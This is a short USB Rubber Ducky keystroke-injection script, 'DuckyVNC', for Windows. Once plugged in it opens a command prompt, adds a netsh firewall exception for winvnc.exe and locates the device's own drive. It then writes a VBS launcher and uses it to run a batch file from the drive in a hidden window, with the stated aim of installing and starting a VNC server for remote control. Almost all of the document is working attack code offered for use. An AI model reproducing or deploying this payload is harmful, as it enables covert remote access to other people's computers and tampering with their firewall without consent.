REM Title: DuckyVNC
REM Description: Copy winvnc from Ducky to Home and start. Also add exception to firewall(experimental)
DELAY 5000
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 200
STRING netsh firewall add allowedprogram %CD%\winvnc.exe vnc ENABLE ALL
ENTER
DELAY 200
STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "HEISEDUCK"') do set myd=%d
ENTER
DELAY 200
STRING copy /Y con inv.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run "123.bat", 0, False
CTRL z
ENTER
DELAY 100
STRING copy /Y %myd%\123.bat
ENTER
DELAY 200
STRING inv.vbs & exit
ENTER